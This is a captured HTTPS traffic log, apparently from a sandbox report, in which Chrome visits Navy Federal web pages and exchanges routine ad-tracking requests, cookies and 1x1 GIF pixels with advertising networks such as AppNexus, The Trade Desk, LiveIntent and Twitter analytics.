2024-05-24 22:46:23 UTC	868	OUT	GET /rum?cm_dsp_id=39&external_user_id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&expiration=1719182780&gdpr=0&gdpr_consent=&C=1 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=ZlEYv9HM66QAAATEATLXcQAA; CMPS=1322; CMPRO=1322
2024-05-24 22:46:24 UTC	982	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:24 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8890d2505c9143f2-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZlEYv9HM66QAAATEATLXcQAA; Path=/; Domain=casalemedia.com; Expires=Sat, 24 May 2025 22:46:24 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=1322; Path=/; Domain=casalemedia.com; Expires=Thu, 22 Aug 2024 22:46:24 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mq8aN5wC40jxjLrD8GxXz0%2FvR4Kgjn32rJXFw1B3f3c68F8zQfdyJp5fO%2FT5HWfF5YZ3l4zWgqBndSOVF9rcM3G3hYdzBipjOJ8TRVRKKaTmP3QUMQ0530cOaNsZFcflbWWRRyv3qg3pSQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-05-24 22:46:24 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.6	50245	185.89.210.122	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:23 UTC	1187	OUT	GET /seg?t=1&add=37387871&ver=9&userid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&pe=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&pf= HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; uuid2=6116765264039870456; anj=dTM7k!M40<CxrEQF']wIg2E?d?=+XZ!A#Fk.TOK`YT5U?QgGs+h/jTcgm>oi+IwEk^^ZXiHJ<dcw^6_jc?Ppkz0nypNjf=kLd@<@(tGb<PaZ<TwnZC)v$x]PPd6z+4'bA#zs`eP9n?:Oi`A>PlZ[C[-kX-_fd_
2024-05-24 22:46:24 UTC	1662	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Fri, 24 May 2024 22:46:24 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: a7c0e720-6d42-4eff-bdfe-dbc68272e16e Set-Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:24 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M40<D>6NRF']wIg2E?d?=+XZNV=RyYB`ml`-s/RDCk7#?H@+L46TLu5OGby3jpHpI/l!/3Np`EIhzWNJBE#y3gwCSsb6'<$rQs`R_Yvr%A')'hMpwbZJNUOksJ0uC:i<hLd4)oX=hTft[HqF1`bfA2/Rk'/; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:24 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Fri, 12-May-2034 22:46:24 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6116765264039870456; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:24 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 954.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.6	50246	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:23 UTC	1171	OUT	GET /track/cmf/generic?ttd_pid=tapad HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFGAUgASgDMgsIosGa_cGT_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.
2024-05-24 22:46:24 UTC	792	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:24 GMT Content-Type: image/gif Content-Length: 70 Connection: close server: Kestrel set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:24 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFGAUgAigDMgsIosGa_cGT_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.; expires=Sat, 24 May 2025 22:46:24 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:24 UTC	70	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 81 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 01 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!NETSCAPE2.0!,;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.6	50248	3.76.144.165	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:24 UTC	804	OUT	GET /pixel/10751/?che=1716590783147&ip=8.46.123.175 HTTP/1.1 Host: d.agkn.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; u=C\|0AAAAAAAALePVMAAAAAAA
2024-05-24 22:46:24 UTC	510	IN	HTTP/1.1 200 Cache-Control: no-cache, must-revalidate Content-Type: image/gif Date: Fri, 24 May 2024 22:46:24 GMT Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="NOI DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Set-Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA;Path=/;Domain=agkn.com;Max-Age=31536000;SameSite=None;Secure Set-Cookie: u=C\|0AAAAAAAALePVQAAAAAAB;Path=/;Domain=agkn.com;Max-Age=31536000;SameSite=None;Secure Content-Length: 43 Connection: Close
2024-05-24 22:46:24 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.6	50256	104.18.36.155	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:24 UTC	738	OUT	GET /rrum?cm_dsp_id=198&external_user_id=rfcgc0VPTx-MfjRMJxOFOw&cb=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DindexHMT%26id%3D HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=ZlEYv9HM66QAAATEATLXcQAA; CMPS=1322; CMPRO=1322
2024-05-24 22:46:24 UTC	1055	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:24 GMT Content-Length: 0 Connection: close Location: https://s.amazon-adsystem.com/ecm3?ex=indexHMT&id=ZlEYv9HM66QAAATEATLXcQAA CF-Ray: 8890d251dc9ac481-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZlEYv9HM66QAAATEATLXcQAA; Path=/; Domain=casalemedia.com; Expires=Sat, 24 May 2025 22:46:24 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=1322; Path=/; Domain=casalemedia.com; Expires=Thu, 22 Aug 2024 22:46:24 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5aO8MPSnvnPaAYUuRu5K6S6%2F2NE5rxIQpI%2BYL8Wqz5%2FrbvvppI7RcYULuqhoh%2BjYIGwOPdGn5oJsnNONo%2Bjvndodr%2FAqJ8eDIxKHd3RI0IyK%2B482AI7AucZV8hEL1WVrX24IHTtSS9MINA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.6	50253	107.21.124.38	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:24 UTC	767	OUT	GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590783.1299598 HTTP/1.1 Host: i.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _li_ss=CgsKCQj_____BxCJGA; lidid=70344332-7801-4475-9af2-802d8d6e72cf
2024-05-24 22:46:24 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:24 GMT Content-Type: image/gif Content-Length: 43 Connection: close Set-Cookie: _li_ss=CgsKCQj_____BxCJGA; Max-Age=2592000; Expires=Sun, 23 Jun 2024 22:46:24 GMT; SameSite=None; Path=/s; Secure Set-Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:24 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 0 Cache-Control: no-store Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-05-24 22:46:24 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
321	192.168.2.6	50254	107.21.124.38	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:24 UTC	767	OUT	GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590783.1304939 HTTP/1.1 Host: i.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _li_ss=CgsKCQj_____BxCJGA; lidid=70344332-7801-4475-9af2-802d8d6e72cf
2024-05-24 22:46:24 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:24 GMT Content-Type: image/gif Content-Length: 43 Connection: close Set-Cookie: _li_ss=CgsKCQj_____BxCJGA; Max-Age=2592000; Expires=Sun, 23 Jun 2024 22:46:24 GMT; SameSite=None; Path=/s; Secure Set-Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:24 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 0 Cache-Control: no-store Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-05-24 22:46:24 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.6	50263	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:24 UTC	663	OUT	GET /ecm3?ex=improvedigitalHMT&id=3f6b4da6-2fbc-43ec-b47c-e34333cb9e24 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:24 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:24 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: SC541A6FDR6TYRDFVYT5 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:24 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.6	50264	104.244.42.133	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:24 UTC	753	OUT	GET /i/adsct?bci=5&eci=2&event_id=3d577c9c-3e38-4428-a40f-30862c9d7b9d&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:24 UTC	393	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:24 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 4eb7ec89b4da36dc strict-transport-security: max-age=0 x-response-time: 88 x-connection-hash: 1a712db8b840d8f5ec063ba768c9f9a84c5cdbdc472c6d794d60afc03686e647 connection: close
2024-05-24 22:46:24 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.6	50255	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:24 UTC	1173	OUT	GET /track/cmf/generic?ttd_pid=addthis HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFGAUgASgDMgsIosGa_cGT_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.
2024-05-24 22:46:24 UTC	792	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:24 GMT Content-Type: image/gif Content-Length: 70 Connection: close server: Kestrel set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:24 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFGAUgAigDMgsIosGa_cGT_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.; expires=Sat, 24 May 2025 22:46:24 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:24 UTC	70	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 81 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 01 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!NETSCAPE2.0!,;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.6	50267	104.244.42.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:24 UTC	890	OUT	GET /i/adsct?bci=5&eci=2&event_id=3d577c9c-3e38-4428-a40f-30862c9d7b9d&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
2024-05-24 22:46:24 UTC	401	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:24 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: e482282dcc49b75a strict-transport-security: max-age=631138519 x-response-time: 90 x-connection-hash: 9c079e2930ac8f11ee8b042b640bc2a3aa9aa4b96b0bdeabf7fcfba84c8b42cf connection: close
2024-05-24 22:46:24 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.6	50260	54.197.234.143	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:24 UTC	654	OUT	GET /sync?UIAM&redir=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dtelaria.com%26id%3D%5BPARTNER_ID%5D HTTP/1.1 Host: amazon.partners.tremorhub.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
